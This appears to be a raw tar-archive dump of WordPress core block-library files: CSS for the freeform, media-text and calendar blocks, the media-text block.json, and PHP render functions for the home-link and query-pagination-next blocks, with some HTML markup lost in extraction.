#e5f5fa;background:#e5f5fa}.wp-block-freeform.block-library-rich-text__tinymce code{padding:2px;border-radius:2px;color:#1e1e1e;background:#f0f0f0;font-family:Menlo,Consolas,monaco,monospace;font-size:14px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-right:auto;margin-left:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{width:96%;height:20px;display:block;margin:15px auto;outline:0;cursor:default;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-size:1900px 20px;background-repeat:no-repeat;background-position:50%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{padding-top:.5em;margin:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview{width:99.99%;position:relative;clear:both;margin-bottom:16px;border:1px solid transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{display:block;max-width:100%;background:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{position:absolute;top:0;left:0;bottom:0;right:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;padding:1em 0;margin:0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;margin:0 auto;width:32px;height:32px;font-size:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{content:"";display:table;clear:both}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{margin:auto -6px;padding:6px 0;line-height:1;overflow-x:hidden}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{float:right;margin:0;text-align:center;padding:6px;box-sizing:border-box}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{max-width:100%;height:auto;border:none;padding:0}div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear;border:1px solid #ddd;outline:1px solid transparent}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-duration:0s;transition-delay:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{content:"";display:table;clear:both}.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i,.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{display:none;width:auto;position:sticky;z-index:31;top:0;border:1px solid #ddd;border-bottom:none;border-radius:2px;margin:0 0 8px;padding:0}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{display:block;border-color:#1e1e1e}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{display:block;background:#f5f5f5;border-bottom:1px solid #e2e4e7}.block-library-classic__toolbar:empty:before{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;content:attr(data-placeholder);color:#555d66;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}blocks/media-text/editor-rtl.css000064400000004104147177035020012666 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-media-text__media { position: relative; } .wp-block-media-text__media.is-transient img { opacity: 0.3; } .wp-block-media-text__media .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .wp-block-media-text .__resizable_base__ { grid-column: 1/span 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; }blocks/media-text/style.min.css000064400000004265147177035020012533 0ustar00.wp-block-media-text{ /*!rtl:begin:ignore*/direction:ltr; /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media,.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{ /*!rtl:begin:ignore*/grid-column:1;grid-row:1; /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr; /*!rtl:begin:ignore*/grid-column:2;grid-row:1; /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{ /*!rtl:begin:ignore*/grid-column:2;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{ /*!rtl:begin:ignore*/grid-column:1;grid-row:1 /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;width:100%;vertical-align:middle}.wp-block-media-text.is-image-fill .wp-block-media-text__media{height:100%;min-height:250px;background-size:cover}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}blocks/media-text/editor.css000064400000004102147177035020012065 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-media-text__media { position: relative; } .wp-block-media-text__media.is-transient img { opacity: 0.3; } .wp-block-media-text__media .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .wp-block-media-text .__resizable_base__ { grid-column: 1/span 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; }blocks/media-text/style-rtl.css000064400000007765147177035020012560 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-media-text { direction: ltr; display: grid; grid-template-columns: 50% 1fr; grid-template-rows: auto; } .wp-block-media-text.has-media-on-the-right { grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media { align-self: start; } .wp-block-media-text .wp-block-media-text__content, .wp-block-media-text .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media { align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media { align-self: end; } .wp-block-media-text .wp-block-media-text__media { grid-column: 1; grid-row: 1; margin: 0; } .wp-block-media-text .wp-block-media-text__content { direction: rtl; grid-column: 2; grid-row: 1; padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media { grid-column: 2; grid-row: 1; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content { grid-column: 1; grid-row: 1; } .wp-block-media-text__media img, .wp-block-media-text__media video { height: auto; max-width: unset; width: 100%; vertical-align: middle; } .wp-block-media-text.is-image-fill .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media { grid-column: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content { grid-column: 1; grid-row: 2; } }blocks/media-text/editor.min.css000064400000001056147177035020012654 0ustar00.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}blocks/media-text/block.json000064400000003651147177035020012062 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/media-text", "title": "Media & Text", "category": "media", "description": "Set media and words side-by-side for a richer layout.", "keywords": [ "image", "video" ], "textdomain": "default", "attributes": { "align": { "type": "string", "default": "wide" }, "mediaAlt": { "type": "string", "source": "attribute", "selector": "figure img", "attribute": "alt", "default": "" }, "mediaPosition": { "type": "string", "default": "left" }, "mediaId": { "type": "number" }, "mediaUrl": { "type": "string", "source": "attribute", "selector": "figure video,figure img", "attribute": "src" }, "mediaLink": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "target" }, "href": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "class" }, "mediaType": { "type": "string" }, "mediaWidth": { "type": "number", "default": 50 }, "mediaSizeSlug": { "type": "string" }, "isStackedOnMobile": { "type": "boolean", "default": true }, "verticalAlignment": { "type": "string" }, "imageFill": { "type": "boolean" }, "focalPoint": { "type": "object" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } } }, "editorStyle": "wp-block-media-text-editor", "style": "wp-block-media-text" } blocks/media-text/style-rtl.min.css000064400000003717147177035020013333 0ustar00.wp-block-media-text{direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media,.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text .wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;width:100%;vertical-align:middle}.wp-block-media-text.is-image-fill .wp-block-media-text__media{height:100%;min-height:250px;background-size:cover}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}blocks/media-text/editor-rtl.min.css000064400000001060147177035020013446 0ustar00.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}blocks/media-text/style.css000064400000010333147177035020011742 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-media-text { /*!rtl:begin:ignore*/ direction: ltr; /*!rtl:end:ignore*/ display: grid; grid-template-columns: 50% 1fr; grid-template-rows: auto; } .wp-block-media-text.has-media-on-the-right { grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media { align-self: start; } .wp-block-media-text .wp-block-media-text__content, .wp-block-media-text .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media { align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media { align-self: end; } .wp-block-media-text .wp-block-media-text__media { /*!rtl:begin:ignore*/ grid-column: 1; grid-row: 1; /*!rtl:end:ignore*/ margin: 0; } .wp-block-media-text .wp-block-media-text__content { direction: ltr; /*!rtl:begin:ignore*/ grid-column: 2; grid-row: 1; /*!rtl:end:ignore*/ padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media { /*!rtl:begin:ignore*/ grid-column: 2; grid-row: 1; /*!rtl:end:ignore*/ } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content { /*!rtl:begin:ignore*/ grid-column: 1; grid-row: 1; /*!rtl:end:ignore*/ } .wp-block-media-text__media img, .wp-block-media-text__media video { height: auto; max-width: unset; width: 100%; vertical-align: middle; } .wp-block-media-text.is-image-fill .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media { grid-column: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content { grid-column: 1; grid-row: 2; } }blocks/home-link.php000064400000011741147177035020010427 0ustar00 array(), 'inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $context['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $context['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the home link markup in the front-end. * * @param array $context Home link block context. * @return array Font size CSS classes and inline styles. */ function block_core_home_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] ); } return $font_sizes; } /** * Builds an array with classes and style for the li wrapper * * @param array $context Home link block context. * @return array The li wrapper attributes. */ function block_core_home_link_build_li_wrapper_attributes( $context ) { $colors = block_core_home_link_build_css_colors( $context ); $font_sizes = block_core_home_link_build_css_font_sizes( $context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ) . ' wp-block-navigation-item'; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); return $wrapper_attributes; } /** * Renders the `core/home-link` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the home url added. */ function render_block_core_home_link( $attributes, $content, $block ) { if ( empty( $attributes['label'] ) ) { return ''; } $wrapper_attributes = block_core_home_link_build_li_wrapper_attributes( $block->context ); $aria_current = is_home() || ( is_front_page() && 'page' === get_option( 'show_on_front' ) ) ? ' aria-current="page"' : ''; $html = '
  • 'render_block_core_home_link', ) ); } add_action( 'init', 'register_block_core_home_link' ); blocks/query-pagination-next.php000064400000005240147177035020013011 0ustar00context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0; $wrapper_attributes = get_block_wrapper_attributes(); $default_label = __( 'Next Page' ); $label = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $pagination_arrow = get_query_pagination_arrow( $block, true ); if ( $pagination_arrow ) { $label .= $pagination_arrow; } $content = ''; // Check if the pagination is for Query that inherits the global context. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = function() use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'next_posts_link_attributes', $filter_link_attributes ); // Take into account if we have set a bigger `max page` // than what the query has. global $wp_query; if ( $max_page > $wp_query->max_num_pages ) { $max_page = $wp_query->max_num_pages; } $content = get_next_posts_link( $label, $max_page ); remove_filter( 'next_posts_link_attributes', $filter_link_attributes ); } elseif ( ! $max_page || $max_page > $page ) { $custom_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); $custom_query_max_pages = (int) $custom_query->max_num_pages; if ( $custom_query_max_pages && $custom_query_max_pages !== $page ) { $content = sprintf( '%3$s', esc_url( add_query_arg( $page_key, $page + 1 ) ), $wrapper_attributes, $label ); } wp_reset_postdata(); // Restore original Post Data. } return $content; } /** * Registers the `core/query-pagination-next` block on the server. */ function register_block_core_query_pagination_next() { register_block_type_from_metadata( __DIR__ . '/query-pagination-next', array( 'render_callback' => 'render_block_core_query_pagination_next', ) ); } add_action( 'init', 'register_block_core_query_pagination_next' ); blocks/calendar/style.min.css000064400000000631147177035020012234 0ustar00.wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d}blocks/calendar/style-rtl.css000064400000003635147177035020012260 0ustar00/** * Colors 